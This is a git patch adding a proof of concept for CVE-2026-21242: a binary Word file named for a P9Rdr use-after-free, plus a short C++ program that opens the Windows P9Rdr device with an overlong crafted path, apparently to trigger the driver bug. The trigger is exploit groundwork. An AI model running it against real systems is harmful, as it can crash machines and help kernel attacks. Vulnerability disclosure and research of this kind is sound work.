From 9199541cb95368cdfc598a86623a8932cc855698 Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:51:59 +0000 Subject: [PATCH] Upload files to "CVE-2026-21242" --- CVE-2026-21242/P9Rdr_UAF2.docx | Bin 0 -> 14780 bytes CVE-2026-21242/P9rdrTest2.cpp | 36 +++++++++++++++++++++++++++++++++ 2 files changed, 36 insertions(+) create mode 100644 CVE-2026-21242/P9Rdr_UAF2.docx create mode 100644 CVE-2026-21242/P9rdrTest2.cpp diff --git a/CVE-2026-21242/P9Rdr_UAF2.docx b/CVE-2026-21242/P9Rdr_UAF2.docx new file mode 100644 index 0000000000000000000000000000000000000000..546cfeb6eca1cf059f519bdeccf1bf8013f3836e GIT binary patch literal 14780 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 eWS8y#dmt5MAU;eB0s`~#68Hh#d6p#M^ literal 0 HcmV?d00001 diff --git a/CVE-2026-21242/P9rdrTest2.cpp b/CVE-2026-21242/P9rdrTest2.cpp new file mode 100644 index 0000000..a74bb97 --- /dev/null +++ b/CVE-2026-21242/P9rdrTest2.cpp @@ -0,0 +1,36 @@ + + +#include +#include + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + + + +HANDLE OpenDevice() { + HANDLE hDevice = NULL; + + PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\dd"; + UNICODE_STRING usName = { 0 }; + + RtlInitUnicodeString(&usName, (PWSTR)lpcwName); + + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0); + + printf("OpenDevice Status=0x%x\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, hDevice, GetLastError(), IoStatusBlock.Information); + + return hDevice; +} + + +int wmain(int argc, WCHAR* argv[]) +{ + OpenDevice(); + return 0; +} \ No newline at end of file